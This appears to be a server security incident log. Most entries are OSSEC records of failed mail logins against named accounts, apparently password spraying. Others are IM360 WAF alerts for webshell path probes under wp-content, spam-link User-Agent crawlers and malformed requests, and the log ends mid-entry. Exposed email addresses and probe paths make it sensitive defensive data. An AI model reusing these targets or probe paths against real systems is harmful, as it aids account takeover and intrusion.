# incident

plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.210.164.158
country_id: 1210997
description:
2026-07-20 22:56:36 dovecot_login authenticator failed for H=([40.68.103.10]) [180.210.164.158]:33682: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-20 22:57:01 dovecot_login authenticator failed for H=(209.66.246.220.static.netvigator.com) [94.16.17.141]:60922: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.57.125
country_id: 1668284
description:
2026-07-20 22:57:21 dovecot_login authenticator failed for H=221-120-57-125.emome-ip.hinet.net ([192.252.211.196]) [221.120.57.125]:32982: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.56.228.149
country_id: 6252001
description:
2026-07-20 22:57:34 dovecot_login authenticator failed for H=ool-6038e495.static.optonline.net ([49.124.147.253]) [96.56.228.149]:50374: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.146.195
country_id: 934841
description:
2026-07-20 23:00:49 dovecot_login authenticator failed for H=([118.123.116.93]) [41.215.146.195]:35749: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.158.16.91
country_id: 1668284
description:
2026-07-20 23:01:53 dovecot_login authenticator failed for H=([218.103.36.176]) [49.158.16.91]:51352: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.227
country_id: 1269750
description:
2026-07-20 23:02:08 dovecot_login authenticator failed for H=(92-62-74-41.saimanet.kg) [128.185.33.227]:47058: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.65.146
country_id: 1269750
description:
2026-07-20 23:01:33 dovecot_login authenticator failed for H=([60.216.89.122]) [122.185.65.146]:36068: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-20 23:01:44 dovecot_login authenticator failed for H=([121.1.120.2]) [103.168.241.32]:49783: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.192.41.235
country_id: 1269750
description:
2026-07-20 23:05:37 dovecot_login authenticator failed for H=([201.28.246.221]) [117.192.41.235]:49907: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 148.170.156.248
country_id: 6251999
description:
2026-07-20 23:05:46 dovecot_login authenticator failed for H=host-148-170-156-248.public.eastlink.ca (red.138.118.213.204.ssservicios.com.ar) [148.170.156.248]:35172: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.146.144
country_id: 1819730
description:
2026-07-20 23:06:05 dovecot_login authenticator failed for H=([192.111.143.93]) [121.202.146.144]:54542: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-20 23:06:09 dovecot_login authenticator failed for H=(static.ill.103.225.15.98.bsnl.co.in) [116.98.104.138]:49692: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.39.124
country_id: 798544
description:
2026-07-20 23:06:09 dovecot_login authenticator failed for H=89-67-39-124.dynamic.play.pl ([104.37.135.150]) [89.67.39.124]:37972: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.162.124.58
country_id: 2635167
description:
2026-07-20 23:06:16 dovecot_login authenticator failed for H=([103.147.248.44]) [20.162.124.58]:49562: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.153.52.22
country_id: 2264397
description:
2026-07-20 23:06:22 dovecot_login authenticator failed for H=a89-153-52-22.cpe.netcabo.pt ([61.156.59.146]) [89.153.52.22]:52036: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.194.5.183
country_id: 2077456
description:
2026-07-20 23:06:29 dovecot_login authenticator failed for H=([109.248.156.49]) [203.194.5.183]:55965: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.25.108.2
country_id: 1643084
description:
2026-07-20 23:09:06 dovecot_login authenticator failed for H=ns1.sinergi.net.id ([197.231.202.201]) [223.25.108.2]:50660: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.7.156
country_id: 1733045
description:
2026-07-20 23:09:57 dovecot_login authenticator failed for H=([171.211.123.106]) [183.171.7.156]:50046: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-20 23:09:16 dovecot_login authenticator failed for H=([49.124.152.174]) [94.16.17.139]:60184: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.116.107.222
country_id: 1835841
description:
2026-07-20 23:09:45 dovecot_login authenticator failed for H=([197.242.170.10]) [211.116.107.222]:39855: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.206.224.179
country_id: 2264397
description:
2026-07-20 23:11:03 dovecot_login authenticator failed for H=(ADMIN) [5.206.224.179]:64296: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-20 23:14:32 dovecot_login authenticator failed for H=([74.119.147.213]) [122.169.40.221]:36120: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.12.42.216
country_id: 6252001
description:
2026-07-20 23:15:45 dovecot_login authenticator failed for H=([91.244.113.178]) [71.12.42.216]:33590: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.174
country_id: 1269750
description:
2026-07-20 23:15:48 dovecot_login authenticator failed for H=([192.34.164.13]) [182.78.112.174]:39660: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-20 23:15:52 dovecot_login authenticator failed for H=([201.208.93.6]) [94.16.17.141]:39674: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.182.118
country_id: 1269750
description:
2026-07-20 23:15:23 dovecot_login authenticator failed for H=([183.104.220.195]) [125.19.182.118]:49546: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-20 23:20:58 dovecot_login authenticator failed for H=([190.247.116.191]) [196.189.59.226]:56852: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.16.52.109
country_id: 3175395
description:
2026-07-20 23:20:41 dovecot_login authenticator failed for H=host-79-16-52-109.retail.telecomitalia.it ([174.105.15.219]) [79.16.52.109]:52049: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.30.101
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/ahsmarine/public_html/wp-content/uploads/admin.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.30.101
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/images/index.php||SC:/home/ahsmarine/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.30.223.119
country_id: 1835841
description:
2026-07-20 23:24:54 dovecot_login authenticator failed for H=([199.229.254.131]) [114.30.223.119]:39811: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.18.106.54
country_id: 6252001
description:
2026-07-20 23:25:32 dovecot_login authenticator failed for H=(069.138.48.116.static.netvigator.com) [173.18.106.54]:34846: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.226.138
country_id: 1269750
description:
2026-07-20 23:26:03 dovecot_login authenticator failed for H=([123.163.52.74]) [182.95.226.138]:59678: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.54
country_id: 1668284
description:
2026-07-20 23:27:04 dovecot_login authenticator failed for H=110-25-109-54.adsl.fetnet.net ([72.195.34.45]) [110.25.109.54]:41585: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.57.67.198
country_id: 1522867
description:
2026-07-20 23:26:51 dovecot_login authenticator failed for H=95.57.67.198.dynamic.telecom.kz ([142.54.236.102]) [95.57.67.198]:40251: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.120.42.31
country_id: 1733045
description:
2026-07-20 23:27:21 dovecot_login authenticator failed for H=(ip68-7-114-69.sd.sd.cox.net) [121.120.42.31]:54948: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.210.164.158
country_id: 1210997
description:
2026-07-20 23:27:28 dovecot_login authenticator failed for H=([174.64.199.87]) [180.210.164.158]:45390: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-20 23:28:58 dovecot_login authenticator failed for H=([199.229.254.131]) [119.92.76.210]:40238: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.74.224.30
country_id: 1835841
description:
2026-07-20 23:29:53 dovecot_login authenticator failed for H=([124.67.120.106]) [61.74.224.30]:63382: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.119
country_id: 1668284
description:
2026-07-20 23:29:24 dovecot_login authenticator failed for H=([49.124.147.249]) [101.13.4.119]:54020: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.83.9.140
country_id: 1694008
description:
2026-07-20 23:29:31 dovecot_login authenticator failed for H=([217.197.165.96]) [124.83.9.140]:57917: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.89.199.82
country_id: 6252001
description:
2026-07-20 23:29:38 dovecot_login authenticator failed for H=([200.89.159.59]) [76.89.199.82]:56518: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.233.182.39
country_id: 1835841
description:
2026-07-20 23:32:32 dovecot_login authenticator failed for H=([1.227.135.186]) [218.233.182.39]:5906: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.59.80
country_id: 1835841
description:
2026-07-20 23:33:01 dovecot_login authenticator failed for H=([67.201.38.131]) [119.192.59.80]:52922: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.126.217.41
country_id: 1210997
description:
2026-07-20 23:33:15 dovecot_login authenticator failed for H=(107-135-117-245.lightspeed.livnmi.sbcglobal.net) [103.126.217.41]:43469: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.200.95.18
country_id: 290557
description:
2026-07-20 23:33:26 dovecot_login authenticator failed for H=([124.105.219.170]) [94.200.95.18]:51890: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.210.105.202
country_id: 3175395
description:
2026-07-20 23:35:54 dovecot_login authenticator failed for H=95-210-105-202.ip.skylogicnet.com ([111.36.36.125]) [95.210.105.202]:54293: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.1.128
country_id: 1668284
description:
2026-07-20 23:35:25 dovecot_login authenticator failed for H=111-70-1-128.emome-ip.hinet.net (176x212x154x239.dynamic.lipetsk.ertelecom.ru) [111.70.1.128]:56932: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.226.175
country_id: 2661886
description:
2026-07-20 23:37:42 dovecot_login authenticator failed for H=90-230-226-175-no2550.tbcn.telia.com ([106.201.80.104]) [90.230.226.175]:37882: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.241
country_id: 1269750
description:
2026-07-20 23:37:53 dovecot_login authenticator failed for H=([41.231.85.75]) [128.185.33.241]:57576: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 191.101.118.29
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://markets.chroniclejournal.com/chroniclejournal/article/abnewswire-2026-7-10-what-does-garage-door-repair-cost-in-laurel-md-local-company-publishes-guide/\">Garage Door Repair</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.5.234.249
country_id: 3144096
description:
2026-07-20 23:46:25 dovecot_login authenticator failed for H=(187-50-194-182.customer.tdatabrasil.net.br) [185.5.234.249]:47966: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.157.252.162
country_id: 2260494
description:
2026-07-20 23:46:46 dovecot_login authenticator failed for H=([183.239.20.236]) [197.157.252.162]:51225: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.246
country_id: 1036973
description:
2026-07-20 23:47:12 dovecot_login authenticator failed for H=([49.124.151.70]) [197.219.228.246]:35860: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.43.200.121
country_id: 3895114
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d43415625 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.83.23.169
country_id: 1168579
description:
2026-07-20 23:50:20 dovecot_login authenticator failed for H=(adsl-181-129-31-42.une.net.co) [103.83.23.169]:35434: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.26.37.10
country_id: 298795
description:
2026-07-20 23:51:10 dovecot_login authenticator failed for H=(177-174-89-105.user.vivozap.com.br) [5.26.37.10]:43690: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.228.159
country_id: 1835841
description:
2026-07-20 23:51:00 dovecot_login authenticator failed for H=(ipmapt-72-195-34-34.oc.oc.cox.net) [218.149.228.159]:38708: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.54
country_id: 1668284
description:
2026-07-20 23:51:09 dovecot_login authenticator failed for H=110-25-109-54.adsl.fetnet.net (106.107.163.210.adsl.dynamic.seed.net.tw) [110.25.109.54]:53660: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.55.106
country_id: 2661886
description:
2026-07-20 23:51:42 dovecot_login authenticator failed for H=31-208-55-106.cust.bredband2.com (65-73-230-99.d1dd231b1e9e11c70abaf8fabd83036a.ip.frontiernet.net) [31.208.55.106]:36386: 535 Incorrect authentication data (set_id=website)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.238.123.16
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d62957835 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.111.135.18
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://m.bazi001.com\">\xe6\xb5\x8b\xe7\xae\x97\xe5\x85\xab\xe5\xad\x97</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 191.101.174.130
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:191.101.174.130||TA:191.101.174.130||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.165.250.117
country_id: 6252001
domain: www.ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/images/uploads/admin.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 52.165.250.117
country_id: 6252001
domain: www.ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/my.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.75.112.190
country_id: 1562822
description:
2026-07-20 23:58:08 dovecot_login authenticator failed for H=([112.194.142.167]) [115.75.112.190]:45615: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 191.101.174.131
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:191.101.174.131||TA:191.101.174.131||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.148.200
country_id: 1733045
description:
2026-07-21 00:00:07 dovecot_login authenticator failed for H=([49.124.153.46]) [49.124.148.200]:50834: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.10.134.170
country_id: 1210997
description:
2026-07-20 23:59:53 dovecot_login authenticator failed for H=([142.54.239.4]) [157.10.134.170]:46048: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.45.238
country_id: 1269750
description:
2026-07-21 00:00:31 dovecot_login authenticator failed for H=([45.191.91.81]) [122.176.45.238]:45279: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.247.84
country_id: 1269750
description:
2026-07-21 00:00:39 dovecot_login authenticator failed for H=([192.111.131.4]) [203.192.247.84]:56064: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.173.21.44
country_id: 1880251
description:
2026-07-21 00:01:46 dovecot_login authenticator failed for H=([111.26.80.229]) [165.173.21.44]:47510: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-21 00:01:27 dovecot_login authenticator failed for H=([183.6.115.88]) [183.82.56.12]:56372: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 74.205.133.95
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4f3080715 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.114.134.130
country_id: 2077456
description:
2026-07-21 00:03:55 dovecot_login authenticator failed for H=(ip-104-37-133-100.hosts.zerolag.com) [193.114.134.130]:63361: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.190
country_id: 1835841
description:
2026-07-21 00:04:02 dovecot_login authenticator failed for H=([49.124.148.189]) [1.250.67.190]:33142: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-21 00:04:14 dovecot_login authenticator failed for H=(syn-184-057-039-170.res.spectrum.com) [197.219.208.58]:60310: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.81.75
country_id: 2661886
description:
2026-07-21 00:04:33 dovecot_login authenticator failed for H=31-208-81-75.cust.bredband2.com ([183.171.4.144]) [31.208.81.75]:47032: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.120.152.63
country_id: 357994
description:
2026-07-21 00:04:51 dovecot_login authenticator failed for H=(77.145.34.171.adsl-pool.jx.chinaunicom.com) [197.120.152.63]:39250: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.176.122.32
country_id: 130758
description:
2026-07-21 00:04:18 dovecot_login authenticator failed for H=(220-245-87-252.static.tpgi.com.au) [213.176.122.32]:58655: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.105.160.100
country_id: 6252001
description:
2026-07-21 00:05:57 dovecot_login authenticator failed for H=syn-024-105-160-100.biz.spectrum.com ([14.116.172.42]) [24.105.160.100]:35642: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.83.23.169
country_id: 1168579
description:
2026-07-21 00:06:35 dovecot_login authenticator failed for H=([14.46.58.104]) [103.83.23.169]:38747: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-21 00:07:47 dovecot_login authenticator failed for H=([67.201.57.102]) [183.82.56.12]:50132: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.11.40
country_id: 1269750
description:
2026-07-21 00:08:18 dovecot_login authenticator failed for H=([183.214.38.206]) [122.160.11.40]:43274: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.127.25.126
country_id: 6252001
description:
2026-07-21 00:08:36 dovecot_plain authenticator failed for H=c-73-127-25-126.hsd1.ut.comcast.net (unduotise) [73.127.25.126]:53514: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 24.216.97.16
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/87180465 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 164.92.86.214
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 pay with crypto for luxury watches; <a href=\"https://satowatch.com\">https://satowatch.com/</a>, (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.221.130
country_id: 1269750
description:
2026-07-21 00:14:39 dovecot_login authenticator failed for H=([70.166.167.49]) [122.187.221.130]:57818: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-21 00:14:44 dovecot_login authenticator failed for H=(ip-68-71-245-203.hosts.zerolag.com) [102.210.148.41]:52860: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.22.207
country_id: 6252001
description:
2026-07-21 00:15:13 dovecot_login authenticator failed for H=([80.65.90.155]) [207.254.22.207]:50904: 535 Incorrect authentication data (set_id=website)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 40.142.155.45
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/8e2073427 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.100.156.38
country_id: 1605651
description:
2026-07-21 00:15:48 dovecot_login authenticator failed for H=mail.sotus.co.th ([178.68.240.85]) [171.100.156.38]:49464: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.239.145.229
country_id: 6252001
description:
2026-07-21 00:16:29 dovecot_login authenticator failed for H=([103.154.64.185]) [72.239.145.229]:42266: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.164.217.142
country_id: 1835841
description:
2026-07-21 00:16:41 dovecot_login authenticator failed for H=([128.185.33.228]) [112.164.217.142]:50094: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.2.22.2
country_id: 6252001
description:
2026-07-21 00:17:19 dovecot_plain authenticator failed for H=c-107-2-22-2.hsd1.az.comcast.net (hanon) [107.2.22.2]:41268: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.98.236.237
country_id: 2635167
description:
2026-07-21 00:19:53 dovecot_login authenticator failed for H=([112.44.243.191]) [88.98.236.237]:62630: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.14.31.10
country_id: 2921044
description:
2026-07-21 00:20:21 dovecot_login authenticator failed for H=([120.224.15.67]) [154.14.31.10]:54976: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.236.175
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/z9x8c7v6b5-debug-trigger-metrodigitals.com||User:metrodigitals||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 97.211.156.184
country_id: 6252001
description:
2026-07-21 00:21:30 dovecot_login authenticator failed for H=184.sub-97-211-156.myvzw.com (host-46-241-107-63.bbcustomer.zsttk.net) [97.211.156.184]:59424: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.190
country_id: 1835841
description:
2026-07-21 00:21:48 dovecot_login authenticator failed for H=([202.137.142.246]) [1.250.67.190]:46804: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.161.126
country_id: 99237
description:
2026-07-21 00:21:52 dovecot_login authenticator failed for H=([80.87.67.82]) [65.20.161.126]:40647: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.127.161.76
country_id: 1668284
description:
2026-07-21 00:22:20 dovecot_login authenticator failed for H=59-127-161-76.hinet-ip.hinet.net ([49.124.153.25]) [59.127.161.76]:57657: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 85.202.77.205
country_id: 2623032
domain: jaashsupplies.com
description:
